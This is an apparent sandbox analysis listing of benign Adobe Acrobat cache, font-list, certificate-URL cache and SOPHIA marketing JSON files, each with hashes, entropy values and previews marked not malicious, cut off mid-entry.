SSDEEP:	3:kkFklX0DstfllXlE/HT8kt/zXNNX8RolJuRdxLlGB9lQRYwpDdt:kKHDseT8C/RNMa8RdWBwRd
MD5:	390D19C8CD7BC5F734A44A5ECED8ABDF
SHA1:	B5DF424388C66934EBDF4DDC7BB0F460E0300D57
SHA-256:	A4AD58BF7F310DA12D4C25A564088052785D64D278BD773B09A991B6827B94D3
SHA-512:	0633B494AFE0B8254B1A00294FF3E13EBB70386674A0DCAB1481C28FA031CE6A3904B47A02C60A3795FDF97040F384DC6FB3D899C1EF2904E8A9558C1293B5B2
Malicious:	false
Preview:	p...... ........d....c..(....................................................... ..........W....z`..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.231099772728515
Encrypted:	false
SSDEEP:	6:kKO/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:2/iDImsLNkPlE99SNxAhUe/3
MD5:	0686349280C1F209CDA1CBCB21753C08
SHA1:	28003EFF9BB669E8D6EE35A80A2F216A1F75E41D
SHA-256:	25EF430A60B7F1E914D80E9F8AB874EE99A63BD413A480D6034AB89AE1E96895
SHA-512:	6DEE5CB64E140E37687FAFB5391E17DFA6671ED17D3A681C2FB25FDA5534582F96E061D787B5730CF2BDA86AFC98658345E63AAFF60B1560C794AEE8366D4C14
Malicious:	false
Preview:	p...... ........s.H..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7468

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7468

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.348626012827798
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD6WJ6DJ2vB3/dVlPIHAR0YHKoAvJM3g98kUwPeUkwRe9:YvXKXXvR/ZwHA75GMbLUkee9
MD5:	65E90EC2693F22C900E2504CAD5F9167
SHA1:	F021F5CEE4FA706705E4DD09A40666B1B032D86A
SHA-256:	AF9D9C165934456B863CBB4FD0ECBA50B67602F95E884B5612CCE049FA862656
SHA-512:	EB70C2FCB84D2E65C891A1AFEDA4545FC1F8D5F22A567AFCDFCCD0F73D7999692EA62F7F6C3DBE11668037FE7F6C19DE897F221B7789A23B98D9017DA970A7B2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4098ca41-a2b2-4c08-a612-4746bf5e03ab","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736751095623,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.285060788580302
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD6WJ6DJ2vB3/dVlPIHAR0YHKoAvJfBoTfXpnrPeUkwRe9:YvXKXXvR/ZwHA75GWTfXcUkee9
MD5:	477A4402835927ED4377561AB4364D76
SHA1:	52CDFF95358BCE19730E776E5D89B4E7720C591B
SHA-256:	41D2A31C55B105D0B034FA36B514866CF5BEC593F59F816281C622FEA0D96E78
SHA-512:	70B7812EC0E5AD815A86F30DE16B79327A1A7E19D8EBC65B0D153A552CCC720BD7DE7C52F65D2DFB6D160EB648F3B2E842C59024C05A80A8F3E1EE0D632DD1E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4098ca41-a2b2-4c08-a612-4746bf5e03ab","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736751095623,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.26332028393811
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD6WJ6DJ2vB3/dVlPIHAR0YHKoAvJfBD2G6UpnrPeUkwRe9:YvXKXXvR/ZwHA75GR22cUkee9
MD5:	8FD360D349A993B159874EBF0BB6215D
SHA1:	72EC424E05F9CC205E16096C6B3E58B6AC6EAB09
SHA-256:	099D7D40F84C6269A69C15225183D962B4F49CA6BE3B2FB71CD5D59CFCB5A0D5
SHA-512:	C23E338F048D48301FBF5A514192698317E71347678038758A43BD624AF0A7ACB2618972A0D72B069A31B0C6710956CD319C3DA775C35B926C06090EAFFE0762
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4098ca41-a2b2-4c08-a612-4746bf5e03ab","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736751095623,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.325057458548904
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD6WJ6DJ2vB3/dVlPIHAR0YHKoAvJfPmwrPeUkwRe9:YvXKXXvR/ZwHA75GH56Ukee9
MD5:	EA840FBD8B1341988BDEB9ED371EA865
SHA1:	A1827C9DBA81688A82BC8CB3E87AB40B240BD326
SHA-256:	2C4A38B99EDCA4B335739FE906AFA61254CA726DECB1A2CA2474F37AA7D3CA02
SHA-512:	F2D10768759BD77E3A10FDDAA5FBC7F5F99E2A4B7E2242587136F8ECC33DB136C95F83476F43F71665FAAE73FE9B5C8A3FE64F229E19E80513449D93E35D45B8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4098ca41-a2b2-4c08-a612-4746bf5e03ab","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736751095623,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690655479671852
Encrypted:	false
SSDEEP:	24:Yv6XXJh+pLgE9cQx8LennAvzBvkn0RCmK8czOCCSkS:YvGJh+hgy6SAFv5Ah8cv/n
MD5:	B0DD7D44C2AC3E51A871D3D0839C9BBB
SHA1:	7CC97246E6535720FAD4A4886152357F40D9E059
SHA-256:	8A38400408A09FA983683E034B6C9C606087BED19304372B0F6302B2CD1DF88C
SHA-512:	6A77A32F6B3554521858EA5CA3A7DF5ED1673892AAC3DBF5D1E564705A5895332A22295F13DE7B27DBCF769E9267201F1613F6FE4AF81264A0209E6EAE2544FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4098ca41-a2b2-4c08-a612-4746bf5e03ab","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736751095623,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.275388454724588
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD6WJ6DJ2vB3/dVlPIHAR0YHKoAvJf8dPeUkwRe9:YvXKXXvR/ZwHA75GU8Ukee9
MD5:	E669037C921AF5EE9D40E7F05D074E6E
SHA1:	F0D9409508EE57210AADC57DBE99D6691FCDEEFB
SHA-256:	DCAFE0B2B249439E3BB545837DC97EF8308F9C9A1829C2ED358409DEF75F4B48
SHA-512:	ACEB322B7E044F6010C9047799A2FA166C46E9AA3F8761A7AE85E6485E8C6256E374C871F35593B46C9214F8E3EFD5413692397890765125669B85DB638C7A5A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4098ca41-a2b2-4c08-a612-4746bf5e03ab","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736751095623,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.274885706831974
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD6WJ6DJ2vB3/dVlPIHAR0YHKoAvJfQ1rPeUkwRe9:YvXKXXvR/ZwHA75GY16Ukee9
MD5:	4C4CCBDE2AD4281D670E11E9A2929C51
SHA1:	A944D72ABE156547BF154FCCE3B5543A7BE16DC8
SHA-256:	790FC94A7AD42482544797F0B14BD65F4BC86B4740C75F74B6B61BFBECB91BAB
SHA-512:	C8271C3754BE31FAB523BEE16DFDFD0830D0BBF635AC4F7247307806F4EE63301B53C3701D67CED50B5912327A5A0C180001964E2430AA223462192576750959
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4098ca41-a2b2-4c08-a612-4746bf5e03ab","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736751095623,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.292122543334942
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD6WJ6DJ2vB3/dVlPIHAR0YHKoAvJfFldPeUkwRe9:YvXKXXvR/ZwHA75Gz8Ukee9
MD5:	3F12C17EF1049B90CB60F0C6417D5E97
SHA1:	E5A86FAF07B722105D09135453F2FB0FCFB0F881
SHA-256:	F9BF37CF3CA82A21724ED66CEFD955E21E4C229D448555832681E06429F1AB59
SHA-512:	7A235E8C26D3D7DBBDFC8F57C443F416CCADAAD2EE5AF40D646B435FDC86A8519B3994E8839EA317056405BA03F8B8FB6A3CF379C4AC8445B70E9DA8EE6CDD10
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4098ca41-a2b2-4c08-a612-4746bf5e03ab","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736751095623,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3036671764043755
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD6WJ6DJ2vB3/dVlPIHAR0YHKoAvJfzdPeUkwRe9:YvXKXXvR/ZwHA75Gb8Ukee9
MD5:	B251270C091F3F00B74AC474C4628E61
SHA1:	232218CA038CD56EA69DB2AE6E296D28519053F5
SHA-256:	F648DF312BD3E1FC7499075321CCD27276B9DCBEE9107810797A7CBB24C459A8
SHA-512:	94B28FB1E3C39EC235F423470C18C9C6CC783DC17131FB532A021ACA75C5F273A08F88165CC2A1B300F44A7B74627AB84E94302995DB2DB987D81443F9FDF8DA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4098ca41-a2b2-4c08-a612-4746bf5e03ab","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736751095623,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.284525378522449
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD6WJ6DJ2vB3/dVlPIHAR0YHKoAvJfYdPeUkwRe9:YvXKXXvR/ZwHA75Gg8Ukee9
MD5:	1B6BEDF391B5D2597DA417BDDA288A70
SHA1:	AF68CE731421F41D45A98C9B37827BE460452BE9
SHA-256:	57BCA328CE4F2401E3B7F53CF571C56AF2D2C95D3D27C13168A904D51396FA61
SHA-512:	B95560E1BF757B6E92F3AE6F933A0A1136A7175DD55275379F1159EA13F1B7F732C5BF5C9B792142778EA439A6A8E40180F5EB597F8EF09D484BBC59BDB98D81
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4098ca41-a2b2-4c08-a612-4746bf5e03ab","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736751095623,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.270303310826353
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD6WJ6DJ2vB3/dVlPIHAR0YHKoAvJf+dPeUkwRe9:YvXKXXvR/ZwHA75G28Ukee9
MD5:	720FA6163D8DC49BAAD8F7BEBB0E7F40
SHA1:	7E6849787E5AA5FC72AD9AB55662C62D1C4B0088
SHA-256:	EB6982B0C4550E36D711B1A82EBE3D08BDDFA0B4EC3D4708D10362492705A31C
SHA-512:	54BFDA632A677E0111483FDD1CADBC8932BE4C0FDFAA83BB7E8A7C51529626C98064999ECA2445CCA4E9B620A6F5575AEE9971D5150B7779B7ECE27092D91924
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4098ca41-a2b2-4c08-a612-4746bf5e03ab","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736751095623,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.268178830983101
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD6WJ6DJ2vB3/dVlPIHAR0YHKoAvJfbPtdPeUkwRe9:YvXKXXvR/ZwHA75GDV8Ukee9
MD5:	8D49F0EE3DBB10ED7AF8B4618E51BF53
SHA1:	F6E380BF9CE3C39C86D84AD599EA32B2F50365D2
SHA-256:	361CBA341718712A3D7EB4274382E8BE5ACDC922F05B1726D454741EC1239389
SHA-512:	4EBD92DCD9D0F77EA1003BDBCB4204CC8D6F9539F7D103197F3766F4E35B215AFE4A4D12B2CB59E29EA0C52CC5DB469596A8ED229BECF0E898254CE6F8703737
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4098ca41-a2b2-4c08-a612-4746bf5e03ab","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736751095623,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.267582865107168
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD6WJ6DJ2vB3/dVlPIHAR0YHKoAvJf21rPeUkwRe9:YvXKXXvR/ZwHA75G+16Ukee9
MD5:	6CE1013776F0977C044FCFA7C1B882CA
SHA1:	7163ABAABD4F53E95AB9D496D633E4CEA91AF6A7
SHA-256:	308220FC004816A5014EA492D84362FBECD3BA166CE9151711A9CB704054EBB6
